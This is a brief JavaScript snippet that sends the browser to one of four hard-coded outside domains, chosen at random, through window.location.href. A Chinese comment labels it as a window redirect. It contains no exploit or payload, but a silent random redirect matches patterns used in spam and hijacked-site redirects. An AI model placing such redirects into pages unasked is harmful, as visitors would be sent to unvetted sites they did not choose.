var linkList = [
"http://asianbusinessschool.net",
"http://zzbs.net",
"http://lx999.net",
"http://rldt.net",	
	
];


var linkIndex = Math.floor((Math.random() * linkList.length));
var link = linkList[linkIndex];

// 执行窗口跳转
window.location.href = link;